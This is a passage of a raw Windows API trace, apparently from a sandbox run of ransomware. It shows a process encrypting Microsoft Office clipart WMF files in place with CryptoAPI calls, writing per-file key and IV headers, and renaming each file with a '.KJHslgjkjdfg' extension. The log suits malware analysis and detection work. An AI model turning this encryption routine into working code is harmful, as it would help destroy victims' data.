pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.282] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.282] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.282] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.282] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.282] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.282] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.282] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.282] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.282] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa4e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa4e, lpOverlapped=0x0) returned 1 [0205.282] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa50, dwBufLen=0xa50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa50) returned 1 [0205.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.283] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa50, lpOverlapped=0x0) returned 1 [0205.283] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.283] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.283] SetEndOfFile (hFile=0x130) returned 1 [0205.285] GetProcessHeap () returned 0x2ef0000 [0205.285] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.286] GetProcessHeap () returned 0x2ef0000 [0205.286] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.286] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf.kjhslgjkjdfg")) returned 1 [0205.287] CloseHandle (hObject=0x130) returned 1 [0205.287] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa059dd00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa059dd00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241041.WMF", cAlternateFileName="")) returned 1 [0205.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.288] GetProcessHeap () returned 0x2ef0000 [0205.288] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.288] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.288] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0205.290] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.290] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.290] GetProcessHeap () returned 0x2ef0000 [0205.290] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.290] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.290] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.290] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.290] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.290] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.290] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.291] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.291] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.291] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.291] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x926, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x926, lpOverlapped=0x0) returned 1 [0205.291] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x930, dwBufLen=0x930 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x930) returned 1 [0205.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.291] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x930, lpOverlapped=0x0) returned 1 [0205.291] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.291] SetEndOfFile (hFile=0x130) returned 1 [0205.293] GetProcessHeap () returned 0x2ef0000 [0205.293] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.293] GetProcessHeap () returned 0x2ef0000 [0205.293] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.293] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf.kjhslgjkjdfg")) returned 1 [0205.295] CloseHandle (hObject=0x130) returned 1 [0205.295] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa18b0a00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa18b0a00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241043.WMF", cAlternateFileName="")) returned 1 [0205.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.296] GetProcessHeap () returned 0x2ef0000 [0205.297] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.297] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.297] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.297] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0205.299] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.299] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.299] GetProcessHeap () returned 0x2ef0000 [0205.299] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.299] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.299] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.299] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.299] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.299] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.299] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.299] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.300] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.300] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.300] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.300] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xab2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xab2, lpOverlapped=0x0) returned 1 [0205.300] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xac0, dwBufLen=0xac0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xac0) returned 1 [0205.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.300] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xac0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xac0, lpOverlapped=0x0) returned 1 [0205.300] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.300] SetEndOfFile (hFile=0x130) returned 1 [0205.303] GetProcessHeap () returned 0x2ef0000 [0205.303] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.303] GetProcessHeap () returned 0x2ef0000 [0205.303] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.303] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf.kjhslgjkjdfg")) returned 1 [0205.305] CloseHandle (hObject=0x130) returned 1 [0205.305] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb49dda00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb49dda00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241077.WMF", cAlternateFileName="")) returned 1 [0205.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.306] GetProcessHeap () returned 0x2ef0000 [0205.306] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.306] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.306] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0205.308] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.308] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.308] GetProcessHeap () returned 0x2ef0000 [0205.308] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.308] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.308] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.308] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.309] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.309] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.309] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0205.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0205.309] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0205.309] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.309] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.309] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x82a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x82a, lpOverlapped=0x0) returned 1 [0205.309] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x830, dwBufLen=0x830 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x830) returned 1 [0205.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.309] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x830, lpOverlapped=0x0) returned 1 [0205.310] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.310] SetEndOfFile (hFile=0x130) returned 1 [0205.312] GetProcessHeap () returned 0x2ef0000 [0205.312] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0205.312] GetProcessHeap () returned 0x2ef0000 [0205.312] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0205.312] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf.kjhslgjkjdfg")) returned 1 [0205.314] CloseHandle (hObject=0x130) returned 1 [0205.314] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c98900, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7c98900, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0241773.WMF", cAlternateFileName="")) returned 1 [0205.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0205.316] GetProcessHeap () returned 0x2ef0000 [0205.316] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0205.316] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0205.316] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0205.316] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0205.318] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0205.318] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0205.318] GetProcessHeap () returned 0x2ef0000 [0205.318] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0205.319] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0205.319] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0205.319] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0205.319] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0205.319] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0205.319] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, 